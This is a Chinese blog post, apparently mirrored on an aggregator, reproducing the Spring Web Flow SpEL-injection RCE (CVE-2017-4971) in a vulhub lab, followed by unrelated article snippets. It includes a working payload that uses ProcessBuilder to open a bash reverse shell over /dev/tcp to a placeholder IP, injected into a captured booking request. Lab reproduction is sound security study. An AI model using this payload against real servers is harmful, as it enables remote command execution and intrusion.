CVE-2017-4971-Spring Web Flow RCE漏洞复现_种树人1的博客-程序员ITS301

技术标签: 漏洞  安全  web安全  框架  

0x00 前言

这是更新的第二个spring框架的漏洞,也是vullhub靶场环境里的一个

陆续更新,前端时间spring core远程代码执行的漏洞也会更新的,一个一个来

--学如逆水行舟,不进则退

0x01 漏洞简介

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

0x02 影响版本

Spring WebFlow 2.4.0 - 2.4.4

0x03 漏洞复现

说实话复现的挺懵的,建议看一下通过代码层来漏洞分析的文章

Spring Web Flow 远程代码执行漏洞分析(CVE-2017-4971) (seebug.org)

            

环境依然是使用vulhub靶场环境

访问靶场,出现以下页面说明搭建成功

 点击左上角的login,进行登录,使用给出的默认账号登录即可

登录之后,访问:http:靶场ip:8080/hotels/1,然后点击Book Hotel,进行填写信息 

点进去填写信息,然后点击Proceed会出现一下页面,点击Confirm,开始抓包

始抓包,进行构造payload,反弹shell 

payload:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

抓包之后,在 _eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5字段后面

添加payload(记得把反弹的ip和端口改为自己的),如下图:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_58596609/article/details/124327168

智能推荐

向日葵 远程开机 linux,教你使用向日葵开机棒轻松实现远程开机_小婉青青的博客-程序员ITS301

在日常生活办公中,借助远程控制软件可以轻松实现远程桌面、远程文件传输、远程维护机器等操作。可是一旦被控电脑关了机,就没有办法进行远程操作了。目前,有些网卡设备能够实现远程开机,但是每次只能开启一台机器,企业内部管理非常不便。今天就为大家介绍一款可以开启上百台主机的开机神器——只需将向日葵远程开机棒接入路由器或交换机,一端接入电源安装成功后,只要能联网,通过PC、手机、PAD就可以对已授权的主机进行...

论文阅读:Cyber-security research_下了一周雨的博客-程序员ITS301

先验知识:ISP:因特网服务提供商 ( ISP )是为个人或企业提供访问NetFlow是一种网络监测功能,可以收集进入及离开网络界面的IP封包的数量及资讯,最早由思科公司研发,应用在路由器及交换器等产品上。经由分析Netflow收集到的资讯,网络管理人员可以知道封包的来源及目的地,网络服务的种类,以及造成网络拥塞的原因摘要为什么做:ISP通过检测与其用户相关的恶意网络活动可以获利问题:不清楚 ISP 拥有什么样的流量数据可用于网络安全研究,以及可以在哪些法律条件下使用。本文:(欧洲)可用数据源—

IAR Systems率先支持集成AI技术的Arm Cortex-M55内核_电子科技圈的博客-程序员ITS301

全球领先的嵌入式开发软件工具和服务供应商IAR Systems宣布,其最新版本的IAR Embedded Workbench for Arm增加了对Arm Cortex-M55处理器的支持。此外,9.20版工具链还新增了对多家半导体厂商的最新微控制器( MCU)的支持。

RHEL 6.x vsftpd搭建 ftp ftps_weixin_33895695的博客-程序员ITS301

RHEL 6.x vsftpd搭建 ftp ftps==============================ftp服务器的工作原理vsftpd实现ftp的匿名用户vsftpd实现ftp的本地用户vsftpd实现限制客户端的速率和连接数vsftpd+ssl实现安全的ftps==============================一、ft...

conda create -n scrapy_spader python=3.6 报错CondaHTTPError_HouFei-Liu的博客-程序员ITS301

问题描述(base) PS C:\Users\tom> conda create -n scrapy_spider python=3.6Collecting package metadata (current_repodata.json): failedCondaHTTPError: HTTP 000 CONNECTION FAILED for url https://repo.anaconda.com/pkgs/main/win-64/current_repodata.jsonElaps..

SpringCloud配置文件刷新之@RefreshScope_machihaoyu的博客-程序员ITS301_refreshscope 依赖

背景当遇到生产环境配置参数需要调整,但又没有配置中心的支持的情况下,只能重启应用以加载新参数,可能会影响业务系统运行,太暴力不优雅;@RefreshScope注解能帮助我们做局部的参数刷新,但侵入性较强,需要开发阶段提前预知可能的刷新点,并且该注解底层是依赖于cglib进行代理的,所以不要掉入cglib的坑,出现刷了也不更新情况;常规的操作姿势大致有下面5个步骤;操作指南1、加依赖 ...

随便推点

oracle 的adg价格,Oracle ADG究竟是否收费?_渴望知识的骚年的博客-程序员ITS301

前两天微信群中,有位朋友问了,Oracle Database Standard Edition 11gR2标准版支持active data guard么?可能平时下载、安装Oracle,未必十分关注版本的问题,有时惯性思维,就选择一个最大的安装包,肯定是功能最丰富的,接着就装上用了。实际上和其他软件一样,Oracle不同版本,功能有所不同。以高可用组件来说明,不同版本,支持就有所不同,Activ...

使用adb pull 手机中的文件_casun_li的博客-程序员ITS301_adb pull

好长时间没用adb了,今天要想要将我们程序中的数据库文件弄出来,用android studio的device manager时由于没有权限pull不出来,因为手机没root吧那么只好用命令行:$ adb shell (进入手机)$ su (在手机中取得管理员操作权)# cd /sdcard/Android/data/com.jobt.jo/files/33181983358058496 (找到止标

自监督学习简介_datamonday的博客-程序员ITS301_自监督学习原理

自监督学习(Self-Supervised Learning)简介。

ActiveReports 报表控件官方中文入门教程 (2)-创建、数据源、浏览以及发布_ComponentOneTeam的博客-程序员ITS301

本篇文章将阐述首次使用 ActiveReports 报表控件 的方法,包括添加报表文件、绑定数据源以及如何发布报表等内容。ActiveReports 报表控件官方中文入门教程 (1)-安装、激活以及产品资源ActiveReports 报表控件官方中文入门教程 (3)-如何选择页面报表和区域报表主要内容包括:新建工程在工程中添加ActiveRepo

MySQL中order by排序时,数据存在null,排序在最前面_神秘微笑的博客-程序员ITS301

order by排序是最常用的功能,但是排序有时会遇到数据为空null的情况,这样排序就会乱了,这里以MySQL为例,记录我遇到的问题和解决思路。问题:网页要实现table的行鼠标拖拽排序,我用AngularJs集成了一个TableDnD开源插件,可以实现,然后在数据库表中增加一个排序字段indexId,但是原来的大量数据是没有排序过的,所以该字段为null。这样order by时,为null的数据就会排在最前边。写个测试表模拟一下,如下效果:解决办法: 最优办法:利用MySQ

推荐文章

热门文章

相关标签